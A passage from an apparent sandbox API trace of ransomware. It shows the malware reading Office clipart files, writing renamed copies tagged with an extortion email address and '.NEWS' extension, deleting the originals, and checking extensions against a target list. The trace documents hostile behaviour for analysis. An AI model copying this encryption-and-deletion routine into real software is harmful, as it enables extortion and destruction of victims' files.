liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.202] GetLastError () returned 0x0 [0083.202] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0083.203] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0083.204] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.204] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.204] SetEndOfFile (hFile=0x344) returned 1 [0083.204] CloseHandle (hObject=0x344) returned 1 [0083.205] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.205] SetEndOfFile (hFile=0x398) returned 1 [0083.206] CloseHandle (hObject=0x398) returned 1 [0083.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString=".doc") returned 4 [0083.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString=".docx") returned 5 [0083.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.207] lstrlenW (lpString=".pdf") returned 4 [0083.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString=".xls") returned 4 [0083.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.207] lstrlenW (lpString=".xlsx") returned 5 [0083.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.207] lstrlenW (lpString=".ppt") returned 4 [0083.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString=".zip") returned 4 [0083.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.207] lstrlenW (lpString=".rar") returned 4 [0083.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString=".bz2") returned 4 [0083.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString=".7z") returned 3 [0083.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString=".dbf") returned 4 [0083.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString=".1cd") returned 4 [0083.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.207] lstrlenW (lpString=".jpg") returned 4 [0083.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString=".doc") returned 4 [0083.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString=".docx") returned 5 [0083.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.208] lstrlenW (lpString=".pdf") returned 4 [0083.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString=".xls") returned 4 [0083.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.208] lstrlenW (lpString=".xlsx") returned 5 [0083.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.208] lstrlenW (lpString=".ppt") returned 4 [0083.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString=".zip") returned 4 [0083.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.208] lstrlenW (lpString=".rar") returned 4 [0083.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString=".bz2") returned 4 [0083.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString=".7z") returned 3 [0083.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString=".dbf") returned 4 [0083.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString=".1cd") returned 4 [0083.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0083.208] lstrlenW (lpString=".jpg") returned 4 [0083.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.209] lstrlenW (lpString="DD00437_.WMF") returned 12 [0083.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.209] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1932) returned 1 [0083.209] CloseHandle (hObject=0x398) returned 1 [0083.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0083.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.209] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.209] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.210] GetLastError () returned 0x0 [0083.210] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x78c, lpOverlapped=0x0) returned 1 [0083.720] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x790, lpOverlapped=0x0) returned 1 [0083.721] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.721] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.722] SetEndOfFile (hFile=0x344) returned 1 [0083.722] CloseHandle (hObject=0x344) returned 1 [0083.725] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.725] SetEndOfFile (hFile=0x398) returned 1 [0083.726] CloseHandle (hObject=0x398) returned 1 [0083.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0083.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.727] lstrlenW (lpString=".doc") returned 4 [0083.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.727] lstrlenW (lpString=".docx") returned 5 [0083.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.727] lstrlenW (lpString=".pdf") returned 4 [0083.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.727] lstrlenW (lpString=".xls") returned 4 [0083.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.727] lstrlenW (lpString=".xlsx") returned 5 [0083.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.727] lstrlenW (lpString=".ppt") returned 4 [0083.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.727] lstrlenW (lpString=".zip") returned 4 [0083.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.727] lstrlenW (lpString=".rar") returned 4 [0083.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.727] lstrlenW (lpString=".bz2") returned 4 [0083.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.727] lstrlenW (lpString=".7z") returned 3 [0083.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".dbf") returned 4 [0083.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".1cd") returned 4 [0083.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".jpg") returned 4 [0083.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".doc") returned 4 [0083.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString=".docx") returned 5 [0083.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.728] lstrlenW (lpString=".pdf") returned 4 [0083.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString=".xls") returned 4 [0083.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.728] lstrlenW (lpString=".xlsx") returned 5 [0083.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.728] lstrlenW (lpString=".ppt") returned 4 [0083.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".zip") returned 4 [0083.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.728] lstrlenW (lpString=".rar") returned 4 [0083.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString=".bz2") returned 4 [0083.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString=".7z") returned 3 [0083.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".dbf") returned 4 [0083.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.728] lstrlenW (lpString=".1cd") returned 4 [0083.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0083.729] lstrlenW (lpString=".jpg") returned 4 [0083.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.729] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.729] lstrlenW (lpString="DD01151_.WMF") returned 12 [0083.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.729] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2960) returned 1 [0083.729] CloseHandle (hObject=0x398) returned 1 [0083.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0083.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.730] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.730] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.730] GetLastError () returned 0x0 [0083.730] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xb90, lpOverlapped=0x0) returned 1 [0083.732] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xba0, lpOverlapped=0x0) returned 1 [0083.733] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.733] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.733] SetEndOfFile (hFile=0x344) returned 1 [0083.733] CloseHandle (hObject=0x344) returned 1 [0083.733] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.733] SetEndOfFile (hFile=0x398) returned 1 [0083.734] CloseHandle (hObject=0x398) returned 1 [0083.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0083.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.734] lstrlenW (lpString=".doc") returned 4 [0083.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.734] lstrlenW (lpString=".docx") returned 5 [0083.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.735] lstrlenW (lpString=".pdf") returned 4 [0083.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString=".xls") returned 4 [0083.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.735] lstrlenW (lpString=".xlsx") returned 5 [0083.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.735] lstrlenW (lpString=".ppt") returned 4 [0083.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString=".zip") returned 4 [0083.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.735] lstrlenW (lpString=".rar") returned 4 [0083.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString=".bz2") returned 4 [0083.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString=".7z") returned 3 [0083.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString=".dbf") returned 4 [0083.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString=".1cd") returned 4 [0083.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString=".jpg") returned 4 [0083.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.735] lstrlenW (lpString=".doc") returned 4 [0083.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString=".docx") returned 5 [0083.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.735] lstrlenW (lpString=".pdf") returned 4 [0083.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.735] lstrlenW (lpString=".xls") returned 4 [0083.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.736] lstrlenW (lpString=".xlsx") returned 5 [0083.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.736] lstrlenW (lpString=".ppt") returned 4 [0083.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.736] lstrlenW (lpString=".zip") returned 4 [0083.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.736] lstrlenW (lpString=".rar") returned 4 [0083.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.736] lstrlenW (lpString=".bz2") returned 4 [0083.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.736] lstrlenW (lpString=".7z") returned 3 [0083.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.736] lstrlenW (lpString=".dbf") returned 4 [0083.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.736] lstrlenW (lpString=".1cd") returned 4 [0083.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0083.736] lstrlenW (lpString=".jpg") returned 4 [0083.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.736] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.736] lstrlenW (lpString="DD01152_.WMF") returned 12 [0083.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.737] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2960) returned 1 [0083.737] CloseHandle (hObject=0x398) returned 1 [0083.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0083.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.737] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.737] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), 